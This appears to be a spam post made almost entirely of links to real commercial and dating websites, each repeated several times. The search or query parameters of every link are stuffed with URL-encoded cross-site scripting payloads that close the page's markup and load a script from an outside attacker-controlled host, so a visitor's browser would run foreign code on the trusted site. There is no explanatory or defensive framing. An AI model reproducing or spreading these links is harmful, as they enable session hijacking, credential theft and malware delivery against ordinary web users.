http://budgettravel.about.com/gi/pages/mmail.htm?nlrc=2&surl=http://budgettravel.about.com/gi/pages/mmail.htm&eurl=http://budgettravel.about.com/gi/pages/mmail.htm&gs=1&email=Enter%20email%20address&newsub=Go&curl=http://%22%3E%3C/script%3E%3Cscript%20src=http://plord.narod.ru/script.js%3E%3C/script%3E.about.com/gi/pages/mmail2.htm?zi=18%2F1a9&surl=http%3A%2F%2Fbudgettravel.about.com%2Fgi%2Fpages%2Fmmail.htm&eurl=http%3A%2F%2Fbudgettravel.about.com%2Fgi%2Fpages%2Fmmail.htm&cmd_budgettravel=%2B%3Ags%3A%3Abudgettravel&gs=1&sdn=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-premonstration&tt=1&bts=1&email=Enter+email+address
</a>
http://budgettravel.about.com/gi/pages/mmail.htm?nlrc=2&surl=http://budgettravel.about.com/gi/pages/mmail.htm&eurl=http://budgettravel.about.com/gi/pages/mmail.htm&gs=1&email=Enter%20email%20address&newsub=Go&curl=http://%22%3E%3C/script%3E%3Cscript%20src=http://plord.narod.ru/script.js%3E%3C/script%3E.about.com/gi/pages/mmail2.htm?zi=18%2F1a9&surl=http%3A%2F%2Fbudgettravel.about.com%2Fgi%2Fpages%2Fmmail.htm&eurl=http%3A%2F%2Fbudgettravel.about.com%2Fgi%2Fpages%2Fmmail.htm&cmd_budgettravel=%2B%3Ags%3A%3Abudgettravel&gs=1&sdn=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-premonstration&tt=1&bts=1&email=Enter+email+address
<a
href="http://www.allbusiness.com/3470945-1.html?query=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-doho&x=1&y=1">
http://www.allbusiness.com/3470945-1.html?query=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-doho&x=1&y=1
</a>
http://www.allbusiness.com/3470945-1.html?query=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-doho&x=1&y=1
<a
href="http://www.bizrate.com/productcomparison/index__keyword--%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-har-ey__prerd--1.html">
http://www.bizrate.com/productcomparison/index__keyword--%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-har-ey__prerd--1.html
</a>
http://www.bizrate.com/productcomparison/index__keyword--%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-har-ey__prerd--1.html
<a
href="http://www.handster.com/catalog.php?search=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-iceblade&x=1&y=1">
http://www.handster.com/catalog.php?search=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-iceblade&x=1&y=1
</a>
http://www.handster.com/catalog.php?search=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-iceblade&x=1&y=1
<a
href="http://web.sa.mapquest.com/arbys/advantage.adp?transaction=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-oprahs-hair-style&searchQuantifier=AND&mapStyle=european&maxSearchResults=10&radius=999&country=&county=&proxIconId=400&search1=&search2=&search3=&search4=&search5=&search6=&search7=&search8=&search9=&search10=&address=&city=&stateProvince=&postalCode=&recordId=&x=1&y=1">
http://web.sa.mapquest.com/arbys/advantage.adp?transaction=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-oprahs-hair-style&searchQuantifier=AND&mapStyle=european&maxSearchResults=10&radius=999&country=&county=&proxIconId=400&search1=&search2=&search3=&search4=&search5=&search6=&search7=&search8=&search9=&search10=&address=&city=&stateProvince=&postalCode=&recordId=&x=1&y=1
</a>
http://web.sa.mapquest.com/arbys/advantage.adp?transaction=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-oprahs-hair-style&searchQuantifier=AND&mapStyle=european&maxSearchResults=10&radius=999&country=&county=&proxIconId=400&search1=&search2=&search3=&search4=&search5=&search6=&search7=&search8=&search9=&search10=&address=&city=&stateProvince=&postalCode=&recordId=&x=1&y=1
<a
href="http://www.plentyoffish.com/sendmessage.aspx?usersendto=7213248&sendto=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-qwik-copy&v=&submit=Contact+balance_equinox+Now!">
http://www.plentyoffish.com/sendmessage.aspx?usersendto=7213248&sendto=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-qwik-copy&v=&submit=Contact+balance_equinox+Now!
</a>
http://www.plentyoffish.com/sendmessage.aspx?usersendto=7213248&sendto=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-qwik-copy&v=&submit=Contact+balance_equinox+Now!
<a
href="http://www.scout.com/search.aspx?siteSearch=Scout.com&q=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-rawass&x=1&y=1&s=143">
http://www.scout.com/search.aspx?siteSearch=Scout.com&q=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-rawass&x=1&y=1&s=143
</a>
http://www.scout.com/search.aspx?siteSearch=Scout.com&q=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-rawass&x=1&y=1&s=143
<a
href="http://www.shopzilla.com/2_-_SEARCH_GO.x--1__SEARCH_GO.y--1__cat_id--1__keyword--%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-totalfina">
http://www.shopzilla.com/2_-_SEARCH_GO.x--1__SEARCH_GO.y--1__cat_id--1__keyword--%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-totalfina
</a>
http://www.shopzilla.com/2_-_SEARCH_GO.x--1__SEARCH_GO.y--1__cat_id--1__keyword--%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-totalfina
<a
href="http://www.thefreelibrary.com/_/search/Search.aspx?SearchBy=0&Word=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-miitti&Search=Search&By=0">
http://www.thefreelibrary.com/_/search/Search.aspx?SearchBy=0&Word=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-miitti&Search=Search&By=0
</a>
http://www.thefreelibrary.com/_/search/Search.aspx?SearchBy=0&Word=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-miitti&Search=Search&By=0
<a
href="http://www.tv.com/search.php?qs=&type=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-re-install-ie-6&stype=search">
http://www.tv.com/search.php?qs=&type=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-re-install-ie-6&stype=search
</a>
http://www.tv.com/search.php?qs=&type=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-re-install-ie-6&stype=search
22be415220557afdcc5515df0e9cc38e

0 new messages